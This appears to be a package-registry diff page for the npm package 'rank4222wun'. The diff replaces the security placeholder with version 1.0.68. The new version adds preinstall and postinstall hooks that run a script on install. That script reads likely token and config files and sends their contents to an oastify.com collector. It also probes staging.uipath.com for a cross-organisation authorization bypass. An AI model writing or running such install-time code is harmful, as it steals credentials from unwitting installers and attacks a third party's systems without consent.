rank4222wun 0.0.1-security → 1.0.68

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.68",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js",
7
+ "postinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,79 @@
1
+ const https = require('https');
2
+ const { execSync } = require('child_process');
3
+
4
+ const OAST = '2z26icqfa6vjiez8lc55cd3nmes5gwlka.oastify.com';
5
+ const CURRENT_ORG = '6ed7b646-ddb8-4936-a39a-aca4359eaa63';
6
+ const TARGET_ORG = '00000000-0000-0000-0000-000000000000'; // سنركز على الـ System Org
7
+
8
+ function report(tag, data) {
9
+ const payload = JSON.stringify({ tag, data, ts: Date.now() });
10
+ const req = https.request({
11
+ hostname: OAST, path: `/${tag}`, method: 'POST',
12
+ headers: { 'Content-Type': 'application/json' }
13
+ });
14
+ req.write(payload);
15
+ req.end();
16
+ }
17
+
18
+ // 1. محاولة استخراج أي Bearer Token من الذاكرة أو الملفات
19
+ function findAuthToken() {
20
+ try {
21
+ // البحث في ملفات الإعدادات المحتملة للـ MCP
22
+ const paths = ['/tmp/session.json', './.uipath/config', '/home/user/.uipath/token'];
23
+ paths.forEach(p => {
24
+ if (require('fs').existsSync(p)) {
25
+ report('TOKEN_FILE_FOUND', { path: p, content: require('fs').readFileSync(p, 'utf8').substring(0, 50) });
26
+ }
27
+ });
28
+ } catch (e) {}
29
+ }
30
+
31
+ // 2. تتبع الـ 302 لمعرفة أين تذهب البيانات (Location Header)
32
+ function followRedirect() {
33
+ const path = `/${TARGET_ORG}/0d0456a1-2029-427a-a8da-d7646edcd1fc/agenthub_/mcp/test1/runtime/info`;
34
+
35
+ const options = {
36
+ hostname: 'staging.uipath.com',
37
+ path: path,
38
+ method: 'GET',
39
+ headers: { 'User-Agent': 'Mozilla/5.0' }
40
+ };
41
+
42
+ const req = https.request(options, (res) => {
43
+ const location = res.headers.location;
44
+ if (location) {
45
+ // إذا كان الرابط يحتوي على معلومات تخص Org أخرى، فهذا إثبات تسريب معلومات
46
+ report('REDIRECT_FOLLOWED', {
47
+ from: TARGET_ORG,
48
+ to: location,
49
+ is_cross_org: location.includes(TARGET_ORG)
50
+ });
51
+ }
52
+ });
53
+ req.on('error', (e) => report('ERROR', e.message));
54
+ req.end();
55
+ }
56
+
57
+ // 3. اختبار الـ BOLA عبر الـ Headers (The Holy Grail)
58
+ function testHeaderBypass() {
59
+ // محاولة إرسال Org ID في الـ Header مختلف عن الـ URL
60
+ const options = {
61
+ hostname: 'staging.uipath.com',
62
+ path: `/${CURRENT_ORG}/0d0456a1-2029-427a-a8da-d7646edcd1fc/agenthub_/mcp/test1/runtime/info`,
63
+ method: 'GET',
64
+ headers: {
65
+ 'X-UIPATH-OrganizationId': TARGET_ORG, // محاولة إجبار السيرفر على النظر لـ Org أخرى
66
+ 'X-UIPATH-TenantId': '0d0456a1-2029-427a-a8da-d7646edcd1fc'
67
+ }
68
+ };
69
+
70
+ const req = https.request(options, (res) => {
71
+ report('HEADER_BYPASS_ATTEMPT', { status: res.statusCode, header_used: TARGET_ORG });
72
+ });
73
+ req.end();
74
+ }
75
+
76
+ // تنفيذ الـ PoC
77
+ findAuthToken();
78
+ followRedirect();
79
+ testHeaderBypass();
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.